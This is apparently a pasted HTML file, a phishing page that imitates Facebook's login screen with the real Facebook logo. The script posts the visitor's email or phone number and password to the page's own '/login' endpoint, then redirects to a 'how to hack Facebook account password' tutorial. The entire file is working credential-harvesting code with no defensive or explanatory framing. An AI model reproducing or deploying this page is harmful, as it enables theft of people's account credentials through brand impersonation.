Untitled
3 years ago in HTML
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Facebook-log in or sign up</title>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
<script src="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.min.js"></script>
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css" />
<style>
.form{
position:relative
width:100%;
height:auto;
}
.fb_logo{
height:200px;
width:15vw;
position: absolute;
left:43vw;
top:-1vw;
}
#name{
height:50px;
width:92vw;
position:absolute;
top:140px;
left:5vw;
}
#pass{
height:50px;
width:92vw;
position:absolute;
top:200px;
left:5vw;
}
#login{
height:50px;
width:92vw;
position:absolute;
top:260px;
left:5vw;
}
#line1{
width:43vw;
position:absolute;
top:320px;
left:5vw;
}
#line2{
width:43vw;
position:absolute;
top:320px;
left:54vw;
}
#or{
position:absolute;
left:50vw;
top:320px;
width:2vw;
}
#signup{
height:45px;
width:45vw;
position:absolute;
top:380px;
left:29vw;
}
#link{
height:45px;
width:40vw;
position:absolute;
left:31vw;
top:440px;
}
.err{
color:red;
position:absolute;
left:70%;
}
#nameErr{
top:20%;
}
#passErr{
top:30%;
}
</style>
</head>
<body>
<center>
<div id="form">
<div>
<img class="fb_logo _8ilh img" src="https://static.xx.fbcdn.net/rsrc.php/y8/r/dF5SId3UHWd.svg" alt="Facebook">
</div>
<input type="text" id="name" name="email" placeholder="Mobile number or email address"/><p class="err" id="nameErr"></p><br />
<input type="password" id="pass" name="password" placeholder="Password"/><p class="err" id="passErr"></p><br />
<button id="login" class="btn btn-primary">Log In</button>
<hr id="line1" /><p id="or">or</p><hr id="line2" />
<button id="signup" class="btn btn-success" href="#">Create New Account</button>
<a href="#" id="link">Forgotten password?</a>
</div>
</center>
<script>
$('document').ready(()=>{
$('#name').val("")
$('#pass').val("")
})
$('#login').click(()=>{
let name=$('#name').val()
let password=$('#pass').val()
const mydata=JSON.stringify({
name:name,
password:password
})
$.ajax({
url:'/login',
method:'post',
contentType:'application/json',
data:mydata,
success:(res)=>{
console.log(res)
location.href="https://www.hacking-tutorial.com/hacking-tutorial/5-steps-how-to-hack-facebook-account-password/"
},
error:(err)=>{
const msg=err.responseJSON
if(msg.field=="name")
{
$('#name').focus()
$('#nameErr').html("*"+msg.msgBody)
$('#passErr').html("")
}
else if(msg.field=="pass")
{
$('#pass').focus()
$('#passErr').html("*"+msg.msgBody)
}
}
})
})
</script>
</body>
</html>